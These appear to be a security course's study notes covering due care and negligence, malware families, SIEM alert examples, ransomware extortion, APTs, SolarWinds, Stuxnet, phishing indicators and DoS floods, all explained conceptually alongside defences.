| Failure | nobody knew the server was unpatched | known missing patch never applied |
- Patching example: diligence finds the missing patch through advisories and weekly scans; care applies it within the policy deadline. Class notes: the patch policy is due care; the verifying scans and audits are due diligence.
- Negligence: duty of care, breach, causation, damages; failing due care is the breach element; the more foreseeable the harm and cheaper the precaution, the clearer. Judge Learned Hand (United States v. Carroll Towing, 1947): negligent if (burden of precaution below probability times loss), the same comparison as control cost against ALE.
- Why a lack of due care is negligence (class notes): a failure to fulfil a fundamental responsibility; leadership, the CEO included, owes a duty of care to protect assets and stakeholders; not putting in place the reasonable, necessary measures a prudent person would is that failure, with legal liability if a breach follows.
- Equifax 2017: Apache Struts patch released March 2017, not applied on a dispute portal, exploited from May; about 147 million people's data; a US House committee called it entirely preventable; settlement up to USD 700 million with US regulators (2019).
- Managers: senior management is responsible for due care; documented diligence proves reasonable conduct. Nepal: the Privacy Act 2018 restricts collection, use and disclosure of personal information (chapter 8).
- Definitions differ: the class notes, Whitman and Mattord and older CISSP guides call setting up the structure due care and its maintenance due diligence; many current texts (ISC2 CISSP) call research and planning diligence and the practice care; both agree due care is the prudent person standard and checks are diligence.
Chapter 2: Malware and cyber attacks 10950 words
Malicious code and its families
Malicious code (malware): any program written to harm a system or its owner; it exploits network, operating system, software or physical security weaknesses to deliver a malicious payload against confidentiality, integrity or availability.
Two questions classify malware: how it spreads (propagation) and what it does (payload). Viruses and Trojans depend on careless human use to spread; worms spread under their own power.
Major threat concerns (the deck): malware (viruses, worms, Trojans), phishing and spear phishing, ransomware, DoS and DDoS, APTs, web application attacks (SQL injection, XSS).
| Type | What it is | How it spreads | Example |
|---|---|---|---|
| Virus | Attaches to a host (program, boot record, document), runs with it | Human action: running, sharing, opening | Melissa, Michelangelo |
| Worm | Standalone, copies itself across networks | By itself: vulnerable services, weak passwords | Morris (1988), Code Red (2001) |
| Trojan horse | Looks useful, hides a payload | The user installs it | Rogue antivirus, Xbox Trojan (2002) |
| Ransomware | Encrypts or locks data, demands payment | Phishing, exposed services, worms | WannaCry, Ryuk |
| Logic bomb | Dormant until a trigger | Insider or other malware | Michelangelo, 6 March |
| Bot, botnet | Remotely controlled machine; many form a botnet | Infection, then C2 orders | Prometei, FritzFrog, Mirai |
| Spyware | Watches the user, sends data out | Bundled software, Trojans | Banking credential stealer |
| Adware | Unwanted adverts, redirects | Bundled with free software | Pop-up adware |
| Rootkit | Hides the attacker, keeps privileged access | Installed after a compromise | LoJax (UEFI) |
| Back door | Hidden way past authentication | Developers, or dropped by malware | China Chopper web shell |
Mnemonic for the ten families in table order: VIP Waiter Thamelma Rakshi Lukaera Bechyo; Saathi Aayera Ramrari Bajaayo (virus, worm, Trojan horse, ransomware, logic bomb, botnet, spyware, adware, rootkit, back door).
Payload versus the triad: spyware breaks confidentiality, a file-corrupting virus integrity, ransomware and wipers availability; many families hit all three.
In a SOC: anti-malware and IPS products log malware events into the SIEM. The deck's three real alerts, three products, three formats (xxxxx are the deck's redactions):
<9>CEF:0|McAfee|VirusScan Enterprise|8.8|1096|Solidcore<Terma Send threat events to Syslog Server> alert|2|alertId=1096
alertName=Terma Send threat events to Syslog Server alertType=Firewall detected eventType=SolidcoreEvent host=IFS-SCRIPT
eventname=Anti-virus Standard Protection:Prevent mass mailing worms from sending mail workflowid=
eventTimestamp=06/09/20 06:00:53 UTC eventObject= eventProgramName= eventProgramUser=SYSTEM
CiscoFirepower: <113>Oct 16 03:08:57 logpoint SFIMS: Correlation Event: EGA_IPS_default/EGA_default at Wed Oct 16 03:08:57 2019 UTC:
[1:34945:2] "MALWARE-TOOLS Win.Trojan.Dridex dropper message" [Impact: Vulnerable] From "xxxxx" at Wed Oct 16 03:08:57 2019 UTC
[Classification: A Network Trojan was Detected] [Priority: 1] {tcp} 192.168.2.67:51375 (xxxxx)->192.168.2.67:25 (xxxxx)
BitDefender: gravityzone: [av] {"computer_name":"server","computer_fqdn":"xxxxx","computer_ip":"192.168.7.239","computer_id":"xyzfsjf",
"product_installed":"BEST","user":{"id":"userid","name":"xxxxx"},"malware_type":"file","malware_name":"Trojan.INK",
"file_path":"C:\\Downloads.lnk","final_status":"deleted","timestamp":"2017-04-11T03:31:42.000Z","module":"av"}
| Alert | Format | What fired | Where, when, outcome |
|---|---|---|---|
| McAfee VirusScan Enterprise 8.8 (endpoint antivirus) | CEF, the Common Event Format (vendor, product, version, signature, name, severity), inside a syslog message; the angle-bracket number is the syslog priority | Rule "Prevent mass mailing worms from sending mail": stops any process that is not an approved mail client from sending email, the way a mass-mailing worm spreads | Host IFS-SCRIPT, 06/09/20 06:00:53 UTC, process running as SYSTEM |
| Cisco Firepower (network IPS) | Plain syslog text; [1:34945:2] is the Snort rule (generator 1, rule 34945, revision 2) | "MALWARE-TOOLS Win.Trojan.Dridex dropper message", classified "A Network Trojan was Detected", priority 1, target judged vulnerable | 16 October 2019, TCP to port 25 (SMTP): the Dridex dropper arriving by email |
| Bitdefender GravityZone (agent BEST, antivirus module) | JSON, one named field per fact | File "Trojan.INK", a malicious Windows shortcut at C:\Downloads.lnk | Computer "server", 192.168.7.239, 11 April 2017; final_status deleted, threat removed |
Every alert answers: which tool, what it saw, which host and user, when, what was done (blocked, deleted, only reported); putting the three shapes into the same fields is the SIEM's normalisation step (chapter 4).
Viruses: how they spread, and how they hide
Computer virus: malicious code that attaches to a host (program, boot record, document) and runs when the host runs. Two functions: propagation (how it spreads) and destruction (the payload, against C, I or A). It needs a host and a human; that separates it from a worm.
| Technique | How it works | Example |
|---|---|---|
| Master boot record (MBR) | Infects the boot sector that loads the OS; the MBR is tiny (the first 512-byte sector), so most code sits elsewhere on the disk; spreads on shared media read at boot, infects the hard drive's MBR | Michelangelo; Petya overwrites the MBR, PC unbootable |
| File infector | File infector viruses infect different types of executable files: code copied into programs such as .COM, .EXE, triggered when the OS runs them; payloads from the highly destructive (formatting the drive) to the benign (a message). Companion virus: game.com beside game.exe, DOS ran .COM first | DOS-era companions |
| Macro | Scripting that automates repetitive tasks, in a simple yet powerful language (usually VBA), inside a document; macros are productivity-enhancing, and that very feature opens another avenue of infection | Melissa (1999) |
| Service injection | Service injection viruses: malicious code using process injection (DLL injection, process hollowing, thread hijacking) inside a legitimate Windows system process (svchost.exe, explorer.exe in the class notes); masquerades as trusted activity, bypasses basic process monitoring, blends into normal traffic, evades antivirus | Defence: ensure all software receives current security patches |
How a macro virus infects
- Delivery: a Microsoft Word or Excel file arrives by email or download, with an urgent pretext (invoice, CV).
- Execution: an auto-run macro (
AutoOpen,Document_Open) runs once the user clicks Enable Content, or at once where macros are allowed. - Infection: it copies itself into the global template (
Normal.dotm), so every later document carries it. - Spread and payload: Melissa (March 1999) mailed itself to the first 50 Outlook contacts; the flood forced several companies to shut their mail servers.
Virus technologies (hiding)
| Technology | What it does | Weakness |
|---|---|---|
| Multipartite | More than one propagation technique; Marzia (1993) infected COM and EXE files (command.com), two hours later the MBR | Cleaning one part leaves the other to reinfect |
| Stealth | Tampers with the OS to fool antivirus: overwrites the MBR, then makes reads return the clean original | A scan from clean boot media sees the real disk |
| Polymorphic | Changes its own code at each infection; same propagation and payload, different signature | Heuristic, behaviour detection, emulation |
| Encrypted | Encrypts its body to hide the signature | The decryptor or key routine is itself a signature |
Metamorphic viruses rewrite their whole body, decryptor included, on each copy. Mnemonic for the five technologies: Mama Sasurali Pugera Eklai Mutyo (multipartite, stealth, polymorphic, encrypted, metamorphic). Defences: signatures plus heuristics, patching, blocking macros from the internet (recent Office does by default), removable media control, backups.
Worms: malware that spreads itself
Worm: a standalone program that copies itself from system to system without human action, through vulnerable services or weak credentials. Worms pose a significant risk to network security: the same destructive potential as other malicious code, with an added twist, they propagate themselves without requiring any human intervention. Every infected host scans for more, so growth is exponential; scanning alone can deny service.
Morris worm (2 November 1988)
- Author and spread: Robert Tappan Morris, Cornell graduate student; four Unix holes: sendmail debug mode, a buffer overflow in the finger daemon, trusted-host rsh and rexec, weak password guessing.
- Effect: over-aggressive reinfection slowed hosts to a halt; DoS on about 10% of roughly 60,000 ARPANET machines.
- Sentence: first conviction under the US Computer Fraud and Abuse Act of 1986: three years' probation, 400 hours of community service, a fine of about 10,000 dollars.
- Irony: his father, Robert Morris, was then a senior figure at the National Security Agency's National Computer Security Center (NCSC); the deck calls him its director, most accounts its chief scientist. Not the UK's National Cyber Security Centre of the 10 Steps.
Code Red (July 2001)
- Spread: buffer overflow in Microsoft IIS; each infected server probed hundreds of random IP addresses for vulnerable IIS, and each new host sought many more targets.
- Payload: memory-only, so a reboot removed it and an unpatched server was simply reinfected; visitors got a defaced page, "Welcome to http://www.worm.com ! Hacked By Chinese!" (the deck shows it).
- Logic bomb: a timed DoS against 198.137.240.91, then the White House web server; administrators changed the address first.
Later: SQL Slammer (January 2003), one 376-byte UDP packet against Microsoft SQL Server, about 75,000 hosts in ten minutes; WannaCry (May 2017), ransomware carried by a worm using EternalBlue against SMBv1, patched two months earlier (MS17-010); Stuxnet (2010), a worm built as a weapon.
Defences: patch exposed services fast, close or filter unneeded services, segment the network, strong passwords, IDS for scanning traffic.
Virus, worm and Trojan horse compared
Differences lie in primary function and propagation: a virus infects, a worm spreads, a Trojan deceives.
Trojan horse: software that appears benevolent or useful but carries a hidden malicious payload; it does not replicate, the user installs it.
- Xbox Trojan (mid 2002): claimed to run games designed for the Microsoft Xbox gaming system on a PC; did nothing, but inserted a Windows Registry value opening a web page at every boot; its creators hoped to cash in on the advertising revenue generated by the page views (the class notes call the payload adware: adware's motive is ad money).
- Rogue antivirus: poses as antivirus, then steals data or demands payment to "update", and the update just disables the Trojan.
- Modern Trojans: loaders and remote access Trojans (RATs); Dridex and Emotet began as banking Trojans, and Emotet went on to deliver other malware.
| Point | Virus | Worm | Trojan horse |
|---|---|---|---|
| Primary function | Infect a host, deliver a payload | Replicate across networks, often with a payload | Deceive the user into running a hidden payload |
| Host file | Yes | No, standalone | No, it is the program run |
| Propagation | Human action: run, boot, open | By itself: services, weak passwords | User installs it; no copying |
| Replicates | Yes | Yes, aggressively | No |
| Speed | Slow | Fast, network wide | One victim per install |
| Payload | Corrupt or delete data | Clog networks, drop ransomware | Steal data, back door, spyware |
| Examples | Melissa, Michelangelo, Marzia | Morris, Code Red, WannaCry | Xbox Trojan, rogue antivirus, Emotet |
Defender's view: viruses and Trojans are stopped by controlling what users run (macro blocking, allowlisting, awareness, trusted sources); worms by patching and segmentation. Blends: WannaCry (ransomware by worm), Emotet (Trojan that spreads like a worm).
Logic bombs, botnets, spyware and adware
Logic bomb: malicious code dormant until it is triggered by a specific condition: a date, a program launch, a logon, a name leaving the payroll.
- Michelangelo: spread on floppies via the MBR, hid until 6 March (the birthday of the famous Italian artist Michelangelo Buonarroti), then reformatted the drive.
- Insider bombs: an admin's code that deletes data if their account is disabled; review departing staff's code changes.
Botnet: internet-connected devices each running bots (zombies), controlled by a botmaster (bot herder) through a command and control (C2) server. The deck's figure: the cybercriminal (botmaster) at the centre, the infected machine (bot or zombie), the C2 server, in four stages:
- Infection: malware spread by spam, infected websites, social media posts.
- Connection: each bot calls home to the C2 server.
- Control: the botmaster commands all bots at once.
- Multiplication: bots infect more machines.
- Architecture: centralised C2 (web or IRC servers) has a single point of failure; peer-to-peer (P2P) bots pass commands among themselves, far harder to dismantle.
- Uses: DDoS, spam, phishing, data theft, click fraud, cryptomining, access to the device and its connection. Mirai (2016) used IoT devices with factory default passwords to flood the DNS provider Dyn.
- Why: bandwidth no attacker could buy, from legitimate-looking addresses worldwide.
The deck's two 2020 botnets both mine Monero (XMR) with the victims' processors and power:
- Prometei (July 2020), a new cryptocurrency-mining botnet attack: varied techniques to spread and compromise Windows systems, stealthily mines Monero; moves laterally with SMB and stolen credentials, PsExec, WMI, SMB exploits.
- FritzFrog (August 2020), a P2P botnet malware: guesses SSH server passwords, runs filelessly in memory, no central C2 (bots pass commands and files to peers over its own P2P protocol); plants an SSH key as a back door and runs a Monero miner. Taking down one server ends nothing.
Spyware: monitors the user and sends data out (banking logins, card numbers; keyloggers, screen grabbers). Adware: adverts, pop-ups; nastier versions track shopping and redirect to competitors. Adware's motive is advertising revenue: paid per advert shown, clicked or page viewed (the Xbox Trojan's motive). Taidoor: a malware variant (RAT) used by a Chinese APT for cyber espionage on governments, corporations, think tanks; infecting since 2008 (US Cyber Command).
MageCart: highly targeted groups placing digital credit card skimmers (JavaScript) on e-commerce sites, intercepting cardholder name, address, card number, CVV, expiry date, sold in underground credit card shops; named after Magento, the shop platform first targeted. The deck's five steps:
- Penetrate: attacker breaks into the target's e-commerce server, directly or indirectly (a supplier), and incorporates a malicious script.
- Distribute: the e-commerce service provider's servers send the script to every user in the front-end website.
- Shop: users interact with the site and proceed to checkout.
- Scrape: the script scrapes payment details and sends them to the attacker's server.
- Collect: the attacker consolidates and retrieves the card records.
Dwell time: the deck's untitled bar chart of days per victim: British Airways about 15, Forbes and Newegg about 30, Delta, Sears and Topps about 60, Procter and Gamble about 210, Ticketmaster about 270, OXO about 730 (two years); most likely how long each skimmer ran unfound (British Airways' ran 21 August to 5 September 2018). Nothing breaks for the shopper.
| CVE ID | Severity level | CVSS3 base score | Vulnerability |
|---|---|---|---|
| CVE-2016-4010 | Critical | 9.8 | Magento multiple remote security vulnerabilities |
It let a remote attacker with no login run PHP code on a Magento shop's server through crafted serialised shopping cart data (insecure deserialisation, fixed in 2.0.6): the step 1 foothold. The indirect road: a compromised third-party script (Ticketmaster's 2018 skimmer came through a supplier's chat widget).
Ransomware, RaaS and the extortion ladder
Ransomware: malware that denies victims their data, usually by encryption, and demands a ransom (usually cryptocurrency) for the key; availability first, confidentiality too when data is stolen.
A digital world pandemic (the deck): big business, one of the most feared and pressing concerns of any organisation; costs companies millions of dollars and damages reputation and reliability; operators notorious and ruthless; a massive surge in ransomware attacks even during the COVID-19 pandemic, with healthcare providers targeted among other businesses.
Evolution: over the years ransomware has evolved dramatically in attack sophistication and exploitation techniques, criminals continuously innovating new and advanced tactics and strategies. It has evolved significantly from simple attacks: tactics moved from a single point of leverage (the encrypted files) to multiple compounding threats, each adding increasing pressure on victims. The extortion ladder is that evolution.
Attack chain: gain access, delete all shadow copies, encrypt, make the ransom demand. Demand met: data likely back, not guaranteed. Demand not met: loss of data unless a backup or decryptor is found.
Delivery: malicious attachments, drive-by downloads, persuading users to install software; bought or stolen RDP and VPN access; unpatched internet-facing servers. Families: WannaCry, Petya and NotPetya, EvilQuest (2020, macOS), Ryuk.
WannaCry's ransom note (May 2017, the deck shows it): files already encrypted; 300 dollars worth of bitcoin (Bitcoin only) to the wallet shown; the price doubles after three days; after seven days the files are said to be lost; a Decrypt button unlocks a few files free as proof; two countdown clocks keep the pressure on.
Scale (deck): cost 8 billion dollars (2018), 11.5 billion (2019), 20 billion (2020), and the deck's update gives 57 to 74 billion for 2026; average payment 312,000 dollars (2020) to 570,000 (first half of 2021, up 82%), about 5 million in the 2026 update (about 10 million the US average); average demand 5.3 million in the first half of 2021, up 518% on 2020's 847,000, around the same in 2026.
The deck's ransomware statistics (per cent of organisations):
| Measure | 2023 | 2024 | 2025 |
|---|---|---|---|
| Affected by ransomware | 66.1 | 69.8 | 73.4 |
| Of those affected: paid the ransom | 58.3 | 60.1 | 62.7 |
| Of those affected: did not pay | 41.7 | 39.9 | 37.3 |
| Of those that paid: recovered data | 67.8 | 69.0 | 71.2 |
| Of those that paid: lost data | 32.2 | 31.0 | 28.8 |
| Of those that did not pay: recovered data | 85.1 | 86.5 | 87.9 |
| Of those that did not pay: lost data | 14.9 | 13.5 | 12.1 |
Reading it: more organisations hit and more paying each year, yet over a quarter of payers still lost data, while about seven in eight refusers recovered another way (backups, decryptors). Paying buys no certainty; part of the gap is likely selection (organisations with tested backups have less reason to pay).
RaaS: ransomware as a franchise. Operators build and maintain the malware, portals and leak site; affiliates break in and deploy it; ransoms are shared. It separates malware skill from intrusion scale. Named (deck): Ryuk, REvil, RainMaker Labs, GandCrab, Sodinokibi, Jokeroo; REvil and Sodinokibi are one operation.
Figure: the extortion ladder, four rising rungs, each keeping the earlier levers.
| Rung | Lever added | Why |
|---|---|---|
| Single | Encrypt, after deleting shadow copies | Original model; offline backups beat it |
| Double | Exfiltrate before encrypting; leak on the public or dark web, raise the demand | Backups alone become an insufficient defence: restored victims still face a breach; Maze popularised it, late 2019 |
| Triple | DDoS the organisation | Keeps the victim offline under pressure |
| Quadruple | Contact customers, users, partners (the class notes call it harassment) | Stakeholders become the pressure |
The deck's four flowcharts, the same boxes each time, one lever added:
- Single extortion: the attacker gains access into the victim's network, deletes all shadow copies, encrypts the data and makes the ransom demand. Not met: loss of data if no backup or decryptor is found. Met: data likely back, not a guarantee but a possibility.
- Double extortion ransomware: the attacker gains access, exfiltrates sensitive data before encryption, encrypts and makes the ransom demand; if not met, attackers leak parts of the sensitive data on the public or dark web and may increase the ransom demand, and the arrow loops back to the demand.
- Triple extortion ransomware: the attacker gains access and does all that; the not-met branch adds a DDoS attack launched against the organisation, then loops back.
- Quadruple extortion ransomware: the attacker gains access and does all that; the not-met branch contacts the users and customers of the targeted organisation to put pressure on it, and loops back.
The loop is the lesson: each refusal brings the next lever. The deck's summary figure (Trend Micro, 2021) draws the four phases of ransomware extortion as nested circles: single (encryption) at the core, double (exfiltration), triple (DDoS), quadruple (direct communication with customers and stakeholders). The class notes: encryption; plus exfiltration; plus DDoS; plus harassment.
Ukraine MBR wiper (January 2022, a Microsoft blog post, DEV-0586, now Cadet Blizzard, called WhisperGate; Microsoft and CISA recommended that all organisations conduct threat hunting exercises and put defences in place early): stage 1, overwrite the master boot record to display a fake ransom note (stage1.exe in working directories such as C:\PerfLogs, C:\ProgramData, C:\, C:\temp; a note demanding 10,000 dollars in bitcoin; ran at power-down); stage 2, the file corrupter (stage2.exe, a downloader with a hardcoded link to a Discord channel; in memory the corrupter located files in certain directories with a long list of target extensions, among them documents .doc .docx .xls .pdf, source code .cpp .java .php, databases .sql .mdb, archives and backups .zip .7z .bak, virtual machine disks .vmdk .vhd, keys and certificates .key .pem, and overwrote their contents with a fixed number of 0xCC bytes). A ruse: the same payload at many victims, no recovery mechanism, amount and wallet spelled out, only a Tox ID for contact; the note (in the deck) has no countdown, no decrypt button, no victim ID. A wiper in a ransomware mask.
Ransomware in practice: the Ryuk chain, prevention and recovery
Big-game ransomware is the last stage of a longer intrusion.
| Step | What happens | Where to stop it |
|---|---|---|
| 1 | Phishing email with a weaponised Word document | Email filtering, sandboxing, training |
| 2 | Macro launches PowerShell from the command line | Macro blocking, constrained PowerShell, EDR |
| 3 | PowerShell downloads Emotet | Web and DNS filtering, allowlisting |
| 4 | Emotet deploys more payloads, often TrickBot | EDR, segmentation |
| 5 | TrickBot disables antivirus, harvests data, steals credentials | Tamper protection, credential protection, least privilege |
| 6 | The C2 server drops Ryuk, which encrypts the network | Offline backups, segmentation, IR |
Prevention (the deck's checklist, built on the US HIPAA Security Rule: ePHI, business associate agreements):
- Awareness and training: processes against malicious software; staff detect and report it.
- Risk analysis: risks to the C, I and A of all ePHI created, received, kept or sent.
- Risk management: measures down to a reasonable, appropriate level.
- Access controls: rights never excessive.
- Business associate agreements: who prevents, manages and reports incidents.
- Technical basics: patch internet-facing systems, MFA on remote access, no exposed RDP, EDR, allowlisting.
Recovery (contingency plan):
- Data backup plan: 3-2-1 (three copies, two media, one off site), one offline or immutable copy.
- Disaster recovery and emergency operations mode plans: essential services keep running.
- Testing and revision: test restorations, test plans, revise failing parts; an untested backup is a hope.
- Application and data criticality analysis: everything critical in the plan, in restore order.
Incident handling (NIST SP 800-61 cycle): prepare teams ahead; detect and analyse (scope; origin: who, what, where, when; ongoing or not; how); contain; eradicate the malware and its entry point; recover and return to business; post-incident regulatory and contractual reporting.
Paying: funds crime, may breach sanctions law, guarantees nothing (over a quarter of 2025 payers lost data); a management decision with legal advice, written into the plan in advance.
How malware spreads: the propagation routes
Propagation: the route malware takes to a new system. Two groups: routes that need a human (to open, run or plug in) and routes that need only a reachable weakness.
| Route | How | Example | Control |
|---|---|---|---|
| Email attachments, links | Macro documents, disguised executables, malicious links | Melissa, Emotet, Ryuk chain | Filtering, sandboxing, macro blocking, awareness |
| Drive-by downloads, malvertising | Compromised site or poisoned advert exploits the browser | Ransomware drive-by delivery | Patched browsers, web filtering |
| Removable media | Infected USB or floppy; boot sectors; autorun | Michelangelo, Stuxnet | Autorun off, media control, scanning |
| Vulnerable network services | Worm exploits an exposed service | Morris, Code Red, WannaCry | Patching, closing services, segmentation |
| Weak, default, stolen credentials | Logs in like a user | Morris, Mirai, Stuxnet's default DB password | Unique passwords, MFA, changed defaults |
| Shares and admin tools | Lateral movement via admin shares, PsExec, WMI | Stuxnet, Prometei | Least privilege, host firewalls, monitoring |
| Trojanised software, updates | Rides inside trusted or signed software | Rogue antivirus, SolarWinds SUNBURST | Trusted sources, signature checks, vendor risk |
| File sharing, messaging, social media | Infected files and links passed on | Botnet spam | Awareness, filtering |
Routes define families: virus by host files and people, worm by services and credentials, Trojan by persuasion. Campaigns chain routes: Stuxnet came on USB, then used shares, Server and Print Spooler zero-days and a default DB password. Infection is the first foothold; propagation after it, inside a network, is lateral movement (a kill chain stage, an ATT&CK tactic).
Advanced persistent threats
APT: a prolonged, targeted intrusion by a well-resourced group, often state sponsored, that stays hidden for months or years to steal information or prepare disruption; the term also names the group.
| Letter | Deck's meaning | In practice |
|---|---|---|
| Advanced | Targeted, coordinated, purposeful | Custom tools, zero-days, tradecraft |
| Persistent | Month after month, year after year | Back doors, stolen credentials |
| Threat | People with intent, opportunity, capability | A funded team with a mission |
Lifecycle (twelve stages, three phases):
- Preparation: define target; find and organise accomplices; build or acquire tools; research target; test for detection.
- Intrusion: deployment; initial intrusion; outbound connection (C2); expand access, obtain credentials; strengthen foothold.
- Mission: exfiltrate data; cover tracks, remain undetected.
Kill chain mapping: research is reconnaissance, tools are weaponisation, deployment and intrusion are delivery, exploitation and installation, outbound connection is C2, stages 9 to 12 are actions on objectives.
| Point | APT | Commodity malware |
|---|---|---|
| Target | Chosen organisation | Anyone vulnerable |
| Goal | Espionage, sabotage, long access | Quick money |
| Time inside | Months, years | Minutes to days |
| Tools | Custom, zero-days, victim's admin tools | Public kits |
| Noise | Quiet | Noisy, mass scanning |
Groups: Taidoor (RAT of a Chinese APT, since 2008); APT28 (Russian military intelligence, LoJax); APT29 (Russian foreign intelligence, SolarWinds); HAFNIUM (Exchange 2021); DEV-0586, Cadet Blizzard (Ukraine wiper). Why hard to catch: valid credentials, admin tools, slow, clean up. Answer: threat hunting (assume breach), egress monitoring, UEBA. State APTs are the soldiers of cyber warfare.
Supply chain compromise: SolarWinds and Stuxnet
Supply chain compromise: attacking a trusted supplier (vendor, update channel, library, service provider) so that its own trusted product carries the attack to every customer. Customers auto-install signed updates and give monitoring tools wide privileges; one breach becomes thousands.
SolarWinds
- What: FireEye published the campaign on 13 December 2020; attackers in SolarWinds' build system inserted the SUNBURST back door (Microsoft: Solorigate) into Orion, its IT monitoring software.
- Timeline: access 4 September 2019; test code 12 September to 4 November 2019; SUNBURST compiled and deployed 20 February 2020; signed trojanised updates March to May 2020 (Hotfix 5, 26 March); malware removed from build machines 4 June 2020; SolarWinds notified 12 December; 8-K filed with the US SEC and shareholders and customers notified 14 December; software fix 15 December; US-CERT alert 17 December; SUNSPOT (the build implant) findings 11 January 2021. About fifteen months passed between the first access and SolarWinds learning of SUNBURST.
- Reach: over 300,000 customers (425 of the Fortune 500, top ten US telecoms, all US military branches, US accounting firms, Pentagon, State Department, NASA, NSA, Postal Service, NOAA, Justice, Office of the President); fewer than 18,000 installed it; a few exploited by hand; "narrow, extremely targeted, manually executed". The class notes say the update went to over 300,000 customers: that is the whole customer base, not the installs.
- Stealth: dormant up to two weeks, traffic disguised as Orion's, DNS for C2.
- Attribution: US government, April 2021: Russia's SVR (APT29).
Stuxnet
A worm originally aimed at Iran's nuclear facilities, found in 2010 (in development since about 2005), attacking programmable logic controllers (PLCs, industrial computers that automate machine processes): the Siemens PLCs running the Natanz centrifuges. The deck: the first known virus capable of crippling hardware; substantial damage to Iran's nuclear programme (reportedly about a thousand centrifuges destroyed); it has since mutated and spread to other industrial and energy-producing facilities.
- Infection: USB stick; infects Windows; certificates that seem to come from reliable companies.
- Search: is this the targeted Siemens control system?
- Update: not a target, do nothing; a target, fetch a newer version.
- Compromise: zero-days against the logic controllers.
- Control: spy first, then spin the centrifuges to failure.
- Deceive and destroy: normal-looking readings to the operators.
Propagation: unprotected admin shares; zero-days in the Windows Server and Print Spooler services; a default database password; infected USB drives.
Classification: the notes call Stuxnet supply chain; references call it a targeted worm and cyber weapon (APT). It reportedly reached the air-gapped plant through contractors' machines and media, and used certificates stolen from hardware vendors. The deck credits the NSA, CIA and Israeli intelligence: widely reported, never officially confirmed.
Defences: vendor risk assessment, SBOM, secure build pipeline, least privilege and segmentation for monitoring tools, egress and DNS monitoring; for industrial systems, removable media control and controller logic monitoring.
Social engineering and phishing
Social engineering: manipulating people, not machines, into revealing information, granting access or running something; basic form: a caller posing as IT support or an authority who needs the password now.
Levers: authority, urgency, fear, trust and familiarity, curiosity or greed. Phishing messages are increasingly sophisticated, designed to closely resemble legitimate communications.
| Type | Channel | Difference |
|---|---|---|
| Phishing | Mass messages resembling legitimate mail | |
| Spear phishing | One person or team, built on research, personal details | |
| Whaling | Spear phishing at senior executives; fake invoices, payment orders | |
| Vishing | Voice | Caller poses as bank, IT support, official |
| Smishing | SMS | Text messages with short links |
| Quishing | QR code | Hidden destination; filters miss images; moves the victim to a personal phone |
| Pretexting | Any | An invented scenario justifies the request |
| Baiting | Physical or online | Infected USB in the car park, free download |
| Tailgating | Physical | Following someone through a secure door |
| Dumpster diving | Physical | Searching the rubbish for sensitive material |
Mnemonic for the ten types in table order: Pradhan Sir Whisky Vodka Sanga Quarter Piyera Busma Thakera Dhalkiyo (phishing, spear phishing, whaling, vishing, smishing, quishing, pretexting, baiting, tailgating, dumpster diving).
The deck's phishing email (Bob in Finance, fake AWS invoice)
Bob in Finance at xyz company gets an email supposedly from AWS Inc.: invoice AWS2134 (attached) is past due; log in to the AWS Inc. account within 24 hours to pay; signed Fredo L., AWS Inc. Admin.
- Urgency: "Urgent: August Invoice for AWS Cloud storage", pay within 24 hours.
- Look-alike sender:
fredo@aawsinc[.]com, a doubled a. - Strange link:
http://aawsinc.com/. - Suspicious support link:
http://aawsinc.com/support, plain HTTP. - Outside business hours: dated Saturday, 5 September 2020, 9 pm.
- Unexpected attachment:
Invoice_August_AWS2134.docx; plus the generic "Dear Valued Customer".
Countermeasures: education and training (the deck); simulated phishing (the course lab) and a report button; SPF, DKIM and DMARC, look-alike domain flags, attachment sandboxing, link rewriting; confirm requests through a second known channel; phishing-resistant MFA (FIDO2, passkeys); badges, anti-tailgating doors, clean desk, shredding.
Why training comes first: right after "education, trainings" the deck shows the Cyber Defense Report 2025 barrier chart (average scores, higher is a bigger barrier):
| Barrier to effective defence | Score |
|---|---|
| Lack of skilled personnel | 3.55 |
| Low security awareness among employees | 3.55 |
| Too much data to analyse | 3.44 |
| Poor or insufficient automation of threat detection and response processes | 3.42 |
| Lack of contextual information from security tools | 3.41 |
| The same label printed a second time (one bar mislabelled on the slide) | 3.40 |
| Poor integration or interoperability between security solutions | 3.39 |
| Lack of management support or awareness | 3.36 |
| Too many false positives | 3.36 |
| Lack of effective solutions available in the market | 3.34 |
| Lack of budget | 3.30 |
People first (scarce skills, unaware staff); then data and tools (too much data, little automation or context, poor integration, false positives: what SIEM, SOAR and XDR solve, chapters 4 and 5); budget last.
Nepal: vishing and smishing posing as banks, wallets, telecoms asking for OTPs or PINs; Nepal Police's Cyber Bureau warns about them.
DoS, DDoS and the flood attacks
DoS: an attack on availability, flooding a system or crashing it with a flaw; results: crashes, reboots, data corruption, blocked services. DDoS: many systems attack a single system at once (a group of attackers coordinating, or usually a botnet); the primary difference is the number of sources. One source can be filtered; thousands of legitimate-looking bots cannot, and their bandwidth can exceed the victim's (GitHub, 2018: 1.35 Tbps by memcached amplification).
| Point | DoS | DDoS | DRDoS |
|---|---|---|---|
| Sources | One | Many, a botnet | Innocent reflecting servers |
| Volume | One link | Thousands of links | Amplified |
| Blocking | One address | No single address | Reflectors are legitimate |
| Example | Single-host ping flood | Mirai against Dyn (2016) | Smurf, DNS and memcached amplification |
DRDoS: manipulates traffic or a service so the attack is reflected to the victim from other sources, hiding the attacker and multiplying volume.
Ping uses the Internet Control Message Protocol (ICMP) to check connectivity with remote systems: normally one echo request to one system, one echo reply. Smurf: a flood attack with ICMP echo packets instead of TCP SYN packets, a spoofed broadcast ping using the victim's IP address as the source.
Figure: the smurf attack, one spoofed broadcast ping, a reply from every host, all to the victim.
- Craft the packet: an ICMP echo request with the victim's IP forged as source.
- Broadcast: sent to an amplifier network's broadcast address, reaching every host.
- Reply: every host sends an echo reply to the victim.
- Flood: one request becomes up to 254 replies on a /24 network; the link fills.
| Flood | Protocol | How |
|---|---|---|
| Smurf | ICMP | Spoofed broadcast ping; ICMP echo instead of TCP SYN |
| Fraggle | UDP 7 (echo), 19 (chargen) | Smurf over UDP broadcast |
| Ping flood | ICMP | Echo requests from many zombies |
| SYN flood | TCP | Half-open handshakes fill the connection table |
| Application layer | HTTP | HTTP floods, Slowloris hold connections |
Mitigation: routers drop directed broadcasts (default since RFC 2644, 1999), hosts ignore broadcast pings; ingress filtering (BCP 38) against spoofing; rate limiting and traffic filtering (the course's LOIC lab), SYN cookies, scrubbing, CDNs, anycast; IDS detection and an ISP runbook.
Names: the notes call smurf a DDoS; the deck a flood attack and a DRDoS example; all agree. The deck (after the CISSP guide) names DNS poisoning as the DNS DRDoS example; the reflected flood is better called DNS amplification.
IDS and IPS: detecting and blocking attacks
